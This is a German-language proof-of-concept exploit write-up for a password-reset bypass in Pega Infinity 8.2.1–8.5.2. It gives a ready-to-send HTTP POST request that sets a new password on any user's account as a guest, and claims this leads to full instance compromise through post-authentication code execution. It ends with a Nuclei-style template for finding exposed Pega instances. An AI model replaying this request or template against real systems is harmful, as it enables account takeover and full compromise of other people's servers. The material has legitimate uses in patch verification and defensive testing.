
umgehe alle Phasen des Passwort-Reset-Ablaufs
Ein Angreifer kann alle Phasen des Passwort-Reset-Ablaufs umgehen und das Konto eines beliebigen Benutzers auf Pega Infinity zurücksetzen. Dies geschieht, indem (1) der Passwort-Reset-Ablauf gestartet und die E-Mail-Adresse des Opfers eingegeben wird, und dann (2) die HTTP-POST-Anfrage erzwungen wird, um das Passwort durchzusetzen. Ein Angreifer könnte sich mit dem neu geänderten Konto anmelden und die Pega-Instanz über die vielen akzeptablen Post-Auth-Codeausführungsvektoren (Ändern dynamischer Seiten, Templating usw.) vollständig kompromittieren.
POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID ist eine eindeutige ID für jede Website, sie hat dieses Format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1
pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=
[email protected] / Rules@1234
Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2
Vollständige Kompromittierung einer beliebigen Pega-Instanz ohne jegliches Vorwissen.


id: pega
info:
name: Pega Infinity Login
author: sshell
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "Pega API"
Andri Wijayanti (@andridev_),